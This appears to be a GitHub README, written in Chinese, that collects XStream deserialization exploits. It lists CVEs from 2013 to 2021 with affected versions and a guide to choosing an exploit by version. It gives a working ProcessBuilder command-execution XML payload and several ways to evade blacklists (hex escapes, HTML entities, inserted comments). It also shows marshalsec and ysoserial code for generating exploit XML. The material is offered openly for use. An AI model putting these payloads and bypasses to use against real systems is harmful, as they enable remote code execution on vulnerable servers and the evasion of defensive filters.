Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Appearance settings

Latest commit

 

History

History
History
 
 

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 

Readme.md

Outline

Xstream

该项目是为了整理Xstream的exp,有一些没有测试成功,欢迎pr。

本来想写一个工具了生成exp,然后感觉这样整理出来也比较方便。。。。。懒。。

XStream 远程代码执行漏洞 CVE-2013-7285 1.4.x<XStream <= 1.4.6&=1.4.10
XStream XXE CVE-2016-3674 1.4.x<XStream <= 1.4.8
XStream 远程代码执行漏洞 CVE-2019-10173 XStream = 1.4.10
XStream 远程代码执行漏洞 CVE-2020-26217 1.4.x<XStream <= 1.4.13
XStream 远程代码执行漏洞 CVE-2021-21344 1.4.x<XStream: <= 1.4.15
XStream 远程代码执行漏洞 CVE-2021-21345 1.4.x<XStream: <= 1.4.15
XStream 远程代码执行漏洞 CVE-2021-21346 1.4.x<XStream: <= 1.4.15
XStream 远程代码执行漏洞 CVE-2021-21347 1.4.x<XStream<= 1.4.15
XStream 远程代码执行漏洞 CVE-2021-21350 1.4.x<XStream: <= 1.4.15
XStream 远程代码执行漏洞 CVE-2021-21351 1.4.x<XStream: <= 1.4.15
XStream 远程代码执行漏洞 CVE-2021-29505 1.4.x<XStream: <= 1.4.16
XStream 远程代码执行漏洞 CVE-2021-39141 1.4.x<XStream: <= 1.4.17
XStream 远程代码执行漏洞 CVE-2021-39144 1.4.x<XStream: <= 1.4.17
XStream 远程代码执行漏洞 CVE-2021-39146 1.4.x<XStream: <= 1.4.17
XStream 远程代码执行漏洞 CVE-2021-39148 1.4.x<XStream: <= 1.4.17
XStream 远程代码执行漏洞 CVE-2021-39152 1.4.x<XStream: <= 1.4.17
XStream 远程代码执行漏洞 CVE-2021-39154 1.4.x<XStream: <= 1.4.17

利用规则

<1.4.6 CVE-2013-7285

=1.4.10 CVE-2019-10173 && CVE-2013-7285

<=1.4.13 CVE-2020-26217

<=1.4.15 CVE-2021-21345 && CVE-2021-21344 && CVE-2021-21351

<=1.4.16 CVE-2021-29505

<=1.4.17 CVE-2021-39141 && CVE-2021-39144 && CVE-2021-39146

绕过

eg:

<sorted-set>
    <string></string>
    <dynamic-proxy>
        <interface>ja<!-- -->va<!-- -->.lang.Comparable</interface>
        <handler class="java.beans.EventHandler">
            <target class="java.lang.Pro&#99;essBuilder">
                <command>
                    <string>&#99;a<!-- test -->lc.exe</string>
                </command>
            </target>
            <action>start</action>
        </handler>
    </dynamic-proxy>
</sorted-set>
1. 16进制绕过

<org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor>
</org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor>
当前黑名单为org[.]springframework,此时的绕过方法可以为
<org.s_.0070ringframework.aop.support.AbstractBeanFactoryPointcutAdvisor>
</org.s_.0070ringframework.aop.support.AbstractBeanFactoryPointcutAdvisor>

2. 针对标签属性内容的绕过

<org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor serialization="custom">
</org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor>
此时的黑名单为custom,那么绕过方法可以为

<org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor serialization="cust&#111;m">
</org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor>
原理为读取属性内容时,会做符合要求的转化

3. 针对标签内容的绕过
<test>
ldap://xxxxx
</test>
此时的黑名单为ldap://,可以用如下的几种方法绕过

html编码:
这部分在提取数据时,同样对html编码的内容做了转化
<test>
&#108;dap://xxxxx
</test>

注释的方法:
在处理实际的标签内容时,遇到注视内容将被忽略掉
<test>
ld<!-- test -->ap://xxxxx
</test>

工具生成poc

java.exe -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream

配合yso生成xstream的exp。添加Xstream组件依赖

package ysoserial.exploit;

import clojure.lang.IFn;
import com.thoughtworks.xstream.XStream;
import ysoserial.payloads.ObjectPayload;

@SuppressWarnings({
    "rawtypes"
})

public class Xstream {
    public static void main(String[] args) {
        if(args.length<2){
            System.out.println("exit");
        }
        final Object payloadObject = ObjectPayload.Utils.makePayloadObject(args[0],args[1]);
        com.thoughtworks.xstream.XStream xstream = new XStream();
        //System.out.println(payloadObject);
        String s = xstream.toXML(payloadObject);
        System.out.println(s);
        ObjectPayload.Utils.releasePayload(args[0],payloadObject);
    }
}
Morty Proxy This is a proxified and sanitized view of the page, visit original site.